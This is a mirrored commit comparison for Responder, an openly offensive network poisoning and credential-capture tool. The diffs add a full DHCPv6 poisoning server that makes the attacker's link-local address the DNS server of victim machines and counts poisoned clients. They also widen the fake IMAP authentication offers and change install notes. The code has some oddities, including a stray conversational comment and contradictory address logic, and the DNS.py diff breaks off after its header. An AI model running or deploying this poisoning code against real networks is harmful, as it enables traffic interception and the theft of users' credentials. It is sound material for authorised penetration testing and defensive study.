mirror of
https://github.com/lgandx/Responder.git
synced 2026-01-09 08:09:02 +00:00
Compare commits
33 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
9fa97ef308 | ||
|
|
23587f8b5d | ||
|
|
9db07b54d6 | ||
|
|
074f152a74 | ||
|
|
e854680360 | ||
|
|
100b1bbe00 | ||
|
|
b9646c7890 | ||
|
|
fc9cfaf8f8 | ||
|
|
367ed8a188 | ||
|
|
70893cdb8b | ||
|
|
e264aae039 | ||
|
|
a8cb41d09b | ||
|
|
e2a0ba041a | ||
|
|
b2b1974b2a | ||
|
|
1833341a33 | ||
|
|
5a114080b4 | ||
|
|
0ffdeb585f | ||
|
|
73507a671f | ||
|
|
9c40a5d265 | ||
|
|
5960d04a51 | ||
|
|
44f6dd2865 | ||
|
|
9d4b64354c | ||
|
|
6a5a20dc8b | ||
|
|
3dd2ed8370 | ||
|
|
74cea27ff9 | ||
|
|
9a5e33ae03 | ||
|
|
6d66d900f1 | ||
|
|
aa4b082071 | ||
|
|
de5cdf4891 | ||
|
|
b4427406ee | ||
|
|
1457035955 | ||
|
|
7c5a31d803 | ||
|
|
15c173a128 |
15
README.md
15
README.md
@@ -110,9 +110,16 @@ launchctl bootout system /System/Library/LaunchDaemons/com.apple.smbd.plist
|
||||
launchctl bootout system /System/Library/LaunchDaemons/com.apple.netbiosd.plist
|
||||
```
|
||||
|
||||
- Quickstart for macOS:
|
||||
## Install ##
|
||||
|
||||
Using pipx
|
||||
|
||||
```bash
|
||||
pipx install git+https://github.com/lgandx/Responder.git
|
||||
```
|
||||
|
||||
Manual:
|
||||
```bash
|
||||
git clone https://github.com/lgandx/Responder
|
||||
cd Responder/
|
||||
python3 -m venv .
|
||||
@@ -192,9 +199,11 @@ Options:
|
||||
|
||||
## Donation ##
|
||||
|
||||
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
|
||||
You can contribute to this project by donating to the following USDT or Bitcoin address:
|
||||
|
||||
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
|
||||
USDT: TNS8ZhdkeiMCT6BpXnj4qPfWo3HpoACJwv
|
||||
|
||||
BTC: 15X984Qco6bUxaxiR8AmTnQQ5v1LJ2zpNo
|
||||
|
||||
Paypal:
|
||||
|
||||
|
||||
@@ -5,6 +5,9 @@ MDNS = On
|
||||
LLMNR = On
|
||||
NBTNS = On
|
||||
|
||||
#IPv6 conf:
|
||||
DHCPv6 = Off
|
||||
|
||||
; Servers to start
|
||||
SQL = On
|
||||
SMB = On
|
||||
@@ -23,6 +26,7 @@ DCERPC = On
|
||||
WINRM = On
|
||||
SNMP = On
|
||||
MQTT = On
|
||||
MYSQL = On
|
||||
|
||||
; Custom challenge.
|
||||
; Use "Random" for generating a random challenge for each requests (Default)
|
||||
@@ -80,6 +84,27 @@ CaptureMultipleCredentials = On
|
||||
; domain\popo, domain\zozo. Recommended value: On, capture everything.
|
||||
CaptureMultipleHashFromSameHost = On
|
||||
|
||||
;IPv6 section
|
||||
[DHCPv6 Server]
|
||||
|
||||
; Domain to filter DNS and DHCPv6 poisoning responses
|
||||
; Only respond to clients in this domain
|
||||
; Leave empty to poison all domains (NOT RECOMMENDED - causes network disruption)
|
||||
; Example: corp.local
|
||||
DHCPv6_Domain =
|
||||
|
||||
; Send Router Advertisements to speed up IPv6 configuration
|
||||
; Only needed on networks without RA Guard protection
|
||||
; Default: Off (more stealthy, waits for natural DHCPv6 SOLICIT)
|
||||
; WARNING: Sending RA can be more detectable
|
||||
SendRA = Off
|
||||
|
||||
; Specific IPv6 address to bind to and advertise as DNS server
|
||||
; Leave empty to auto-detect link-local address (recommended)
|
||||
; Example: fe80::1
|
||||
; Example: 2001:db8::1
|
||||
BindToIPv6 =
|
||||
|
||||
[HTTP Server]
|
||||
|
||||
; Set to On to always serve the custom EXE
|
||||
|
||||
58
Responder.py
58
Responder.py
@@ -36,6 +36,8 @@ parser.add_option('-b', '--basic', action="store_true", help="Return a B
|
||||
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
|
||||
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
|
||||
|
||||
parser.add_option('--dhcpv6', action="store_true", help="Enable DHCPv6 poisoning attack (disabled by default). Responds to DHCPv6 SOLICIT messages and configures attacker as DNS server. WARNING: May cause network disruption.", dest="DHCPv6_On_Off", default=False)
|
||||
|
||||
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
|
||||
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
|
||||
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
|
||||
@@ -132,6 +134,34 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||
pass
|
||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
class ThreadingUDPDHCPv6Server(ThreadingMixIn, UDPServer):
|
||||
allow_reuse_address = True
|
||||
address_family = socket.AF_INET6
|
||||
|
||||
def server_bind(self):
|
||||
import socket
|
||||
import struct
|
||||
|
||||
# Bind to :: (accept packets to ANY address including multicast)
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
print(color("[DHCPv6] Make sure to review DHCPv6 settings Responder.conf\n[DHCPv6] Only run this module for short periods of time, you might cause some disruption.", 2, 1))
|
||||
|
||||
# Join multicast group
|
||||
group = socket.inet_pton(socket.AF_INET6, 'ff02::1:2')
|
||||
if_index = socket.if_nametoindex(settings.Config.Interface)
|
||||
mreq = group + struct.pack('@I', if_index)
|
||||
|
||||
try:
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
|
||||
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_LOOP, 1)
|
||||
print(color("[DHCPv6] Joined ff02::1:2 port 547 on %s" % settings.Config.Interface, 2, 1))
|
||||
except Exception as e:
|
||||
print(color("[!] Multicast join failed: %s" % str(e), 1, 1))
|
||||
|
||||
# Set address family to IPv6
|
||||
ThreadingUDPDHCPv6Server.address_family = socket.AF_INET6
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
@@ -252,6 +282,14 @@ def serve_thread_udp(host, port, handler):
|
||||
except:
|
||||
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
def serve_thread_dhcpv6(host, port, handler):
|
||||
try:
|
||||
# MUST bind to :: to receive multicast packets
|
||||
server = ThreadingUDPDHCPv6Server(('::', port), handler)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
print(color("[!] DHCPv6 error: %s" % str(e), 1, 1))
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
if OsInterfaceIsSupported():
|
||||
@@ -300,8 +338,13 @@ def main():
|
||||
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||
|
||||
threads = []
|
||||
|
||||
# Load (M)DNS, NBNS and LLMNR Poisoners
|
||||
#IPv6 Poisoning
|
||||
# DHCPv6 Server (disabled by default, enable with --dhcpv6)
|
||||
if settings.Config.DHCPv6_On_Off:
|
||||
from servers.DHCPv6 import DHCPv6
|
||||
threads.append(Thread(target=serve_thread_dhcpv6, args=('', 547, DHCPv6,)))
|
||||
|
||||
# Load MDNS, NBNS and LLMNR Poisoners
|
||||
if settings.Config.LLMNR_On_Off:
|
||||
from poisoners.LLMNR import LLMNR
|
||||
threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,)))
|
||||
@@ -405,6 +448,9 @@ def main():
|
||||
if settings.Config.IMAP_On_Off:
|
||||
from servers.IMAP import IMAP
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 143, IMAP,)))
|
||||
from servers.IMAP import IMAPS
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 993, IMAPS,)))
|
||||
|
||||
|
||||
if settings.Config.DNS_On_Off:
|
||||
from servers.DNS import DNS, DNSTCP
|
||||
@@ -433,6 +479,14 @@ def main():
|
||||
time.sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
# Optional: Print DHCPv6 statistics on shutdown
|
||||
if settings.Config.DHCPv6_On_Off:
|
||||
try:
|
||||
from servers.DHCPv6 import print_dhcpv6_stats
|
||||
print_dhcpv6_stats()
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
sys.exit("\r%s Exiting..." % color('[+]', 2, 1))
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -861,7 +861,7 @@ class IMAPGreeting(Packet):
|
||||
|
||||
class IMAPCapability(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
|
||||
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
|
||||
30
pyproject.toml
Normal file
30
pyproject.toml
Normal file
@@ -0,0 +1,30 @@
|
||||
[build-system]
|
||||
requires = ["pdm-backend >= 2.4.0"]
|
||||
build-backend = "pdm.backend"
|
||||
|
||||
[project]
|
||||
name = "Responder-poisoner" # "responder" is already taken
|
||||
description = "LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication."
|
||||
readme = "README.md"
|
||||
license = "GPL-3.0-only"
|
||||
license-files = ["LICENSE"]
|
||||
dynamic = ["version"]
|
||||
dependencies = ["aioquic", "netifaces>=0.10.4"]
|
||||
classifiers = [
|
||||
"Operating System :: MacOS",
|
||||
"Operating System :: POSIX :: Linux",
|
||||
"Topic :: Security"
|
||||
]
|
||||
|
||||
[project.urls]
|
||||
Homepage = "https://github.com/lgandx/Responder"
|
||||
Issues = "https://github.com/lgandx/Responder/issues"
|
||||
|
||||
[project.scripts]
|
||||
responder = "Responder:main"
|
||||
|
||||
[tool.pdm.build]
|
||||
includes = ["*.py", "files/", "poisoners/", "servers/", "certs/", "tools/", "Responder.conf"]
|
||||
|
||||
[tool.pdm.version]
|
||||
source = "scm"
|
||||
471
servers/DHCPv6.py
Normal file
471
servers/DHCPv6.py
Normal file
@@ -0,0 +1,471 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# DHCPv6 poisoning module based on mitm6 concepts by Dirk-jan Mollema
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
import struct
|
||||
import socket
|
||||
import time
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# DHCPv6 Message Types
|
||||
DHCPV6_SOLICIT = 1
|
||||
DHCPV6_ADVERTISE = 2
|
||||
DHCPV6_REQUEST = 3
|
||||
DHCPV6_CONFIRM = 4
|
||||
DHCPV6_RENEW = 5
|
||||
DHCPV6_REBIND = 6
|
||||
DHCPV6_REPLY = 7
|
||||
DHCPV6_RELEASE = 8
|
||||
DHCPV6_DECLINE = 9
|
||||
DHCPV6_INFORMATION_REQUEST = 11
|
||||
|
||||
# DHCPv6 Option Codes
|
||||
OPTION_CLIENTID = 1
|
||||
OPTION_SERVERID = 2
|
||||
OPTION_IA_NA = 3
|
||||
OPTION_IA_TA = 4
|
||||
OPTION_IAADDR = 5
|
||||
OPTION_ORO = 6
|
||||
OPTION_PREFERENCE = 7
|
||||
OPTION_ELAPSED_TIME = 8
|
||||
OPTION_RELAY_MSG = 9
|
||||
OPTION_AUTH = 11
|
||||
OPTION_UNICAST = 12
|
||||
OPTION_STATUS_CODE = 13
|
||||
OPTION_RAPID_COMMIT = 14
|
||||
OPTION_USER_CLASS = 15
|
||||
OPTION_VENDOR_CLASS = 16
|
||||
OPTION_VENDOR_OPTS = 17
|
||||
OPTION_INTERFACE_ID = 18
|
||||
OPTION_RECONF_MSG = 19
|
||||
OPTION_RECONF_ACCEPT = 20
|
||||
OPTION_DNS_SERVERS = 23
|
||||
OPTION_DOMAIN_LIST = 24
|
||||
|
||||
class DHCPv6State:
|
||||
def __init__(self):
|
||||
self.leases = {}
|
||||
self.start_time = time.time()
|
||||
self.poisoned_count = 0
|
||||
|
||||
def add_lease(self, client_id, ipv6_addr, mac):
|
||||
self.leases[client_id] = {
|
||||
'ipv6': ipv6_addr,
|
||||
'mac': mac,
|
||||
'lease_time': time.time(),
|
||||
'lease_duration': 120
|
||||
}
|
||||
self.poisoned_count += 1
|
||||
|
||||
dhcpv6_state = DHCPv6State()
|
||||
|
||||
class DHCPv6(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, socket_obj = self.request
|
||||
|
||||
if len(data) < 4:
|
||||
return
|
||||
|
||||
msg_type = data[0]
|
||||
transaction_id = data[1:4]
|
||||
|
||||
if msg_type not in [DHCPV6_SOLICIT, DHCPV6_REQUEST, DHCPV6_CONFIRM, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_INFORMATION_REQUEST]:
|
||||
return
|
||||
|
||||
options = self.parse_dhcpv6_options(data[4:])
|
||||
|
||||
client_id = options.get(OPTION_CLIENTID)
|
||||
if not client_id:
|
||||
return
|
||||
|
||||
client_mac = self.extract_mac_from_clientid(client_id)
|
||||
|
||||
if not self.should_poison_client():
|
||||
return
|
||||
|
||||
msg_type_name = self.get_message_type_name(msg_type)
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text('[DHCPv6] %s from %s (MAC: %s)' % (
|
||||
msg_type_name,
|
||||
self.client_address[0],
|
||||
client_mac if client_mac else 'Unknown'
|
||||
)))
|
||||
|
||||
# Build response based on message type
|
||||
if msg_type == DHCPV6_SOLICIT:
|
||||
response = self.build_advertise(transaction_id, options)
|
||||
response_type = 'ADVERTISE'
|
||||
elif msg_type == DHCPV6_REQUEST:
|
||||
response = self.build_reply(transaction_id, options, client_id, client_mac)
|
||||
response_type = 'REPLY'
|
||||
elif msg_type == DHCPV6_RENEW:
|
||||
response = self.build_reply(transaction_id, options, client_id, client_mac)
|
||||
response_type = 'REPLY (Renew)'
|
||||
elif msg_type == DHCPV6_REBIND:
|
||||
response = self.build_reply(transaction_id, options, client_id, client_mac)
|
||||
response_type = 'REPLY (Rebind)'
|
||||
elif msg_type == DHCPV6_CONFIRM:
|
||||
response = self.build_confirm_reply(transaction_id, options)
|
||||
response_type = 'REPLY (Confirm)'
|
||||
elif msg_type == DHCPV6_INFORMATION_REQUEST:
|
||||
response = self.build_info_reply(transaction_id, options)
|
||||
response_type = 'REPLY (Info)'
|
||||
else:
|
||||
return
|
||||
|
||||
socket_obj.sendto(response, self.client_address)
|
||||
|
||||
analyze_mode = getattr(settings.Config, 'Analyze', False)
|
||||
|
||||
if analyze_mode:
|
||||
print(color('[Analyze] [DHCPv6] Would send %s to %s' % (response_type, self.client_address[0]), 3, 1))
|
||||
else:
|
||||
attacker_ip = self.get_attacker_ipv6()
|
||||
print(text('[DHCPv6] Sent %s to %s' % (response_type, self.client_address[0])))
|
||||
if msg_type in [DHCPV6_REQUEST, DHCPV6_RENEW, DHCPV6_REBIND, DHCPV6_SOLICIT]:
|
||||
print(text('[DHCPv6] Poisoned DNS server: %s' % attacker_ip))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
print(color('[!] [DHCPv6] Error: %s' % str(e), 1, 1))
|
||||
import traceback
|
||||
traceback.print_exc()
|
||||
|
||||
def should_poison_client(self):
|
||||
return True
|
||||
|
||||
def parse_dhcpv6_options(self, options_data):
|
||||
options = {}
|
||||
offset = 0
|
||||
|
||||
while offset < len(options_data) - 4:
|
||||
option_code = struct.unpack('!H', options_data[offset:offset+2])[0]
|
||||
option_len = struct.unpack('!H', options_data[offset+2:offset+4])[0]
|
||||
option_data = options_data[offset+4:offset+4+option_len]
|
||||
|
||||
options[option_code] = option_data
|
||||
offset += 4 + option_len
|
||||
|
||||
return options
|
||||
|
||||
def extract_mac_from_clientid(self, client_id):
|
||||
try:
|
||||
if len(client_id) < 2:
|
||||
return None
|
||||
|
||||
duid_type = struct.unpack('!H', client_id[0:2])[0]
|
||||
|
||||
if duid_type == 1 and len(client_id) >= 14:
|
||||
mac = client_id[8:14]
|
||||
return ':'.join(['%02x' % b for b in bytearray(mac)])
|
||||
elif duid_type == 3 and len(client_id) >= 8:
|
||||
mac = client_id[4:10]
|
||||
return ':'.join(['%02x' % b for b in bytearray(mac)])
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
def get_attacker_ipv6(self):
|
||||
"""Get attacker's link-local IPv6 address derived from IPv4"""
|
||||
# mitm6 technique: use link-local address with decimal octets
|
||||
# Example: 10.207.212.254 -> fe80::a:cf:d4:fe (hex) or similar pattern
|
||||
# Actually based on your example, it seems to generate a different link-local
|
||||
# Let's use the actual Bind_To6 if available, otherwise construct one
|
||||
try:
|
||||
# Try to get actual link-local from interface
|
||||
import netifaces
|
||||
iface = settings.Config.Interface
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for addr_info in addrs[netifaces.AF_INET6]:
|
||||
addr = addr_info.get('addr', '').split('%')[0]
|
||||
# Return link-local address (fe80::)
|
||||
if addr.startswith('fe80::'):
|
||||
return addr
|
||||
except:
|
||||
pass
|
||||
|
||||
# Fallback: construct from IPv4
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
octets = ipv4.split('.')
|
||||
# Use hex conversion for DNS server address
|
||||
ipv6 = 'fe80::%x:%x:%x:%x' % (
|
||||
int(octets[0]), int(octets[1]),
|
||||
int(octets[2]), int(octets[3])
|
||||
)
|
||||
return ipv6
|
||||
except:
|
||||
return 'fe80::1'
|
||||
|
||||
def generate_client_ipv6(self):
|
||||
"""Generate client's link-local IPv6 address from attacker's IPv4"""
|
||||
# mitm6 technique: fe80::<octet1>:<octet2>:<octet3>:254
|
||||
# Example: 10.207.212.254 -> fe80::10:207:212:254
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
octets = ipv4.split('.')
|
||||
# Use decimal octets (base 10) separated by colons, last octet is always 254
|
||||
ipv6 = 'fe80::%s:%s:%s:254' % (octets[0], octets[1], octets[2])
|
||||
return ipv6
|
||||
except:
|
||||
return 'fe80::1:2:3:4'
|
||||
|
||||
def build_advertise(self, transaction_id, options):
|
||||
msg = bytes([DHCPV6_ADVERTISE]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
if OPTION_CLIENTID in options:
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID - DUID Type 3 (link-layer only, not link-layer + time)
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# DNS servers option - use link-local address
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# IA_NA if requested
|
||||
if OPTION_IA_NA in options:
|
||||
ia_na_option = self.build_ia_na_option(options[OPTION_IA_NA])
|
||||
msg += self.build_option(OPTION_IA_NA, ia_na_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
return msg
|
||||
|
||||
def build_reply(self, transaction_id, options, client_id, client_mac):
|
||||
msg = bytes([DHCPV6_REPLY]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID - DUID Type 3
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# DNS servers option - use link-local address
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# IA_NA if requested - reuse the address from request if present
|
||||
if OPTION_IA_NA in options:
|
||||
ia_na_option = self.build_ia_na_option_reply(options[OPTION_IA_NA])
|
||||
msg += self.build_option(OPTION_IA_NA, ia_na_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
# Track this lease
|
||||
ipv6_addr = self.generate_client_ipv6()
|
||||
dhcpv6_state.add_lease(client_id, ipv6_addr, client_mac)
|
||||
|
||||
return msg
|
||||
|
||||
def build_info_reply(self, transaction_id, options):
|
||||
msg = bytes([DHCPV6_REPLY]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
if OPTION_CLIENTID in options:
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# DNS servers option
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
return msg
|
||||
|
||||
def build_confirm_reply(self, transaction_id, options):
|
||||
msg = bytes([DHCPV6_REPLY]) + transaction_id
|
||||
|
||||
# Client ID first
|
||||
msg += self.build_option(OPTION_CLIENTID, options[OPTION_CLIENTID])
|
||||
|
||||
# Server ID
|
||||
msg += self.build_option(OPTION_SERVERID, self.get_server_duid())
|
||||
|
||||
# Status Code: Success (0)
|
||||
status_code = struct.pack('!H', 0)
|
||||
msg += self.build_option(OPTION_STATUS_CODE, status_code)
|
||||
|
||||
# DNS servers option
|
||||
dns_option = self.build_dns_servers_option()
|
||||
msg += self.build_option(OPTION_DNS_SERVERS, dns_option)
|
||||
|
||||
# Add domain list if configured
|
||||
dhcpv6_domain = getattr(settings.Config, 'DHCPv6_Domain', '')
|
||||
if dhcpv6_domain:
|
||||
domain_option = self.build_domain_list_option([dhcpv6_domain])
|
||||
msg += self.build_option(OPTION_DOMAIN_LIST, domain_option)
|
||||
|
||||
return msg
|
||||
|
||||
def build_option(self, code, data):
|
||||
return struct.pack('!HH', code, len(data)) + data
|
||||
|
||||
def get_server_duid(self):
|
||||
"""Get server DUID - Type 3 (link-layer only) like mitm6"""
|
||||
duid_type = 3 # DUID-LL (link-layer only)
|
||||
hw_type = 1 # Ethernet
|
||||
|
||||
# Get actual MAC address from interface
|
||||
try:
|
||||
import netifaces
|
||||
iface = settings.Config.Interface
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
if netifaces.AF_LINK in addrs:
|
||||
mac_str = addrs[netifaces.AF_LINK][0]['addr']
|
||||
# Convert MAC string to bytes
|
||||
mac = bytes([int(x, 16) for x in mac_str.split(':')])
|
||||
else:
|
||||
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
|
||||
except:
|
||||
mac = bytes([0x02, 0x00, 0x00, 0x00, 0x00, 0x01])
|
||||
|
||||
# DUID Type 3 format: type (2) + hardware type (2) + link-layer address
|
||||
duid = struct.pack('!HH', duid_type, hw_type) + mac
|
||||
return duid
|
||||
|
||||
def build_ia_na_option(self, request_ia_na):
|
||||
"""Build IA_NA option with link-local address for ADVERTISE"""
|
||||
iaid = request_ia_na[0:4]
|
||||
|
||||
# Short lease times like mitm6
|
||||
t1 = 200
|
||||
t2 = 250
|
||||
|
||||
ia_na = iaid + struct.pack('!II', t1, t2)
|
||||
|
||||
# Add IAADDR sub-option with link-local address
|
||||
ipv6_addr = self.generate_client_ipv6()
|
||||
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
|
||||
ia_na += iaaddr
|
||||
|
||||
return ia_na
|
||||
|
||||
def build_ia_na_option_reply(self, request_ia_na):
|
||||
"""Build IA_NA option for REPLY/RENEW/REBIND - reuse client's address if present"""
|
||||
iaid = request_ia_na[0:4]
|
||||
|
||||
# Short lease times like mitm6
|
||||
t1 = 200
|
||||
t2 = 250
|
||||
|
||||
ia_na = iaid + struct.pack('!II', t1, t2)
|
||||
|
||||
# Try to extract existing address from request
|
||||
ipv6_addr = None
|
||||
try:
|
||||
# Parse IA_NA options to find IAADDR
|
||||
offset = 12 # Skip IAID + T1 + T2
|
||||
while offset < len(request_ia_na) - 4:
|
||||
opt_code = struct.unpack('!H', request_ia_na[offset:offset+2])[0]
|
||||
opt_len = struct.unpack('!H', request_ia_na[offset+2:offset+4])[0]
|
||||
|
||||
if opt_code == OPTION_IAADDR and opt_len >= 16:
|
||||
# Extract IPv6 address (first 16 bytes of option data)
|
||||
import ipaddress
|
||||
addr_bytes = request_ia_na[offset+4:offset+20]
|
||||
ipv6_addr = str(ipaddress.IPv6Address(addr_bytes))
|
||||
break
|
||||
|
||||
offset += 4 + opt_len
|
||||
except:
|
||||
pass
|
||||
|
||||
# If no address found in request, generate new one
|
||||
if not ipv6_addr:
|
||||
ipv6_addr = self.generate_client_ipv6()
|
||||
|
||||
# Add IAADDR sub-option
|
||||
iaaddr = self.build_iaaddr_option(ipv6_addr, 300)
|
||||
ia_na += iaaddr
|
||||
|
||||
return ia_na
|
||||
|
||||
def build_iaaddr_option(self, ipv6_addr, lease_time):
|
||||
"""Build IAADDR option"""
|
||||
import ipaddress
|
||||
addr_bytes = ipaddress.IPv6Address(ipv6_addr).packed
|
||||
|
||||
# Format: IPv6 address (16) + preferred-lifetime (4) + valid-lifetime (4)
|
||||
iaaddr_data = addr_bytes + struct.pack('!II', lease_time, lease_time)
|
||||
|
||||
# Wrap in option
|
||||
return struct.pack('!HH', OPTION_IAADDR, len(iaaddr_data)) + iaaddr_data
|
||||
|
||||
def build_dns_servers_option(self):
|
||||
"""Build DNS Servers option - use link-local address like mitm6"""
|
||||
import ipaddress
|
||||
attacker_ipv6 = self.get_attacker_ipv6()
|
||||
dns_bytes = ipaddress.IPv6Address(attacker_ipv6).packed
|
||||
return dns_bytes
|
||||
|
||||
def build_domain_list_option(self, domains):
|
||||
domain_data = b''
|
||||
for domain in domains:
|
||||
labels = domain.split('.')
|
||||
for label in labels:
|
||||
domain_data += bytes([len(label)]) + label.encode('ascii')
|
||||
domain_data += b'\x00'
|
||||
return domain_data
|
||||
|
||||
def get_message_type_name(self, msg_type):
|
||||
types = {
|
||||
DHCPV6_SOLICIT: 'SOLICIT',
|
||||
DHCPV6_ADVERTISE: 'ADVERTISE',
|
||||
DHCPV6_REQUEST: 'REQUEST',
|
||||
DHCPV6_CONFIRM: 'CONFIRM',
|
||||
DHCPV6_RENEW: 'RENEW',
|
||||
DHCPV6_REBIND: 'REBIND',
|
||||
DHCPV6_REPLY: 'REPLY',
|
||||
DHCPV6_RELEASE: 'RELEASE',
|
||||
DHCPV6_DECLINE: 'DECLINE',
|
||||
DHCPV6_INFORMATION_REQUEST: 'INFORMATION_REQUEST'
|
||||
}
|
||||
return types.get(msg_type, 'UNKNOWN(%d)' % msg_type)
|
||||
|
||||
def print_dhcpv6_stats():
|
||||
if dhcpv6_state.poisoned_count > 0:
|
||||
runtime = int(time.time() - dhcpv6_state.start_time)
|
||||
print(color('\n[DHCPv6] Statistics:', 2, 1))
|
||||
print(color(' Clients poisoned: %d' % dhcpv6_state.poisoned_count, 2, 1))
|
||||
print(color(' Active leases: %d' % len(dhcpv6_state.leases), 2, 1))
|
||||
print(color(' Runtime: %d seconds' % runtime, 2, 1))
|
||||
742
servers/DNS.py
Executable file → Normal file
742
servers/DNS.py
Executable file → Normal file
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# email: lgaffie@secorizon.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,121 +14,655 @@
|
||||
#
|
||||
